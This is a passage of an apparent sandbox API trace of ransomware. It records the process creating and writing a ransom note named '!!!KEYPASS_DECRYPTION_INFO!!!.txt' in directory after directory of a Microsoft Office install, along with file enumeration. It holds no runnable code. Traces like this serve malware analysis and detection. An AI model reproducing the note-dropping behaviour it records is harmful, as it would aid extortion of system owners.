lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.204] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.204] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.204] GetLastError () returned 0x3f0 [0276.205] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.205] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0276.207] GetFileType (hFile=0x1840) returned 0x1 [0276.207] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.207] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.207] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.207] WriteFile (in: hFile=0x1840, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.208] WriteFile (in: hFile=0x1840, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.208] CloseHandle (hObject=0x1840) returned 1 [0276.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997d30 [0276.208] FindNextFileW (in: hFindFile=0x3997d30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.208] FindNextFileW (in: hFindFile=0x3997d30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.208] FindNextFileW (in: hFindFile=0x3997d30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.208] FindNextFileW (in: hFindFile=0x3997a70, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.208] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.208] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.208] GetLastError () returned 0x3f0 [0276.209] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.209] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1844 [0276.210] GetFileType (hFile=0x1844) returned 0x1 [0276.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.210] WriteFile (in: hFile=0x1844, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.211] WriteFile (in: hFile=0x1844, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.211] CloseHandle (hObject=0x1844) returned 1 [0276.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997b30 [0276.211] FindNextFileW (in: hFindFile=0x3997b30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.211] FindNextFileW (in: hFindFile=0x3997b30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.211] FindNextFileW (in: hFindFile=0x3997b30, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.212] FindNextFileW (in: hFindFile=0x3997a70, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.212] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.212] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.212] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.212] GetLastError () returned 0x3f0 [0276.212] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.212] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\portal\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1848 [0276.266] GetFileType (hFile=0x1848) returned 0x1 [0276.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.266] WriteFile (in: hFile=0x1848, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.267] WriteFile (in: hFile=0x1848, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.267] CloseHandle (hObject=0x1848) returned 1 [0276.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997df0 [0276.267] FindNextFileW (in: hFindFile=0x3997df0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.267] FindNextFileW (in: hFindFile=0x3997df0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.267] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.268] FindNextFileW (in: hFindFile=0x3997df0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.268] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.268] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.268] GetLastError () returned 0x3f0 [0276.268] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.268] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\portal\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184c [0276.269] GetFileType (hFile=0x184c) returned 0x1 [0276.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.269] WriteFile (in: hFile=0x184c, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.270] WriteFile (in: hFile=0x184c, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.270] CloseHandle (hObject=0x184c) returned 1 [0276.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997cb0 [0276.270] FindNextFileW (in: hFindFile=0x3997cb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.271] FindNextFileW (in: hFindFile=0x3997cb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.271] FindNextFileW (in: hFindFile=0x3997cb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.271] FindNextFileW (in: hFindFile=0x3997df0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.271] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.271] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.271] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.271] GetLastError () returned 0x3f0 [0276.271] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.271] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1850 [0276.272] GetFileType (hFile=0x1850) returned 0x1 [0276.272] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.272] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.272] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.272] WriteFile (in: hFile=0x1850, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.273] WriteFile (in: hFile=0x1850, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.273] CloseHandle (hObject=0x1850) returned 1 [0276.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997cf0 [0276.273] FindNextFileW (in: hFindFile=0x3997cf0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.273] FindNextFileW (in: hFindFile=0x3997cf0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.273] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.273] FindNextFileW (in: hFindFile=0x3997cf0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.274] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.274] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.274] GetLastError () returned 0x3f0 [0276.274] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.274] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0276.275] GetFileType (hFile=0x1854) returned 0x1 [0276.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.275] WriteFile (in: hFile=0x1854, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.276] WriteFile (in: hFile=0x1854, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.276] CloseHandle (hObject=0x1854) returned 1 [0276.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997d70 [0276.277] FindNextFileW (in: hFindFile=0x3997d70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.277] FindNextFileW (in: hFindFile=0x3997d70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.277] FindNextFileW (in: hFindFile=0x3997d70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.277] FindNextFileW (in: hFindFile=0x3997cf0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.277] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.277] GetLastError () returned 0x3f0 [0276.277] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.277] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 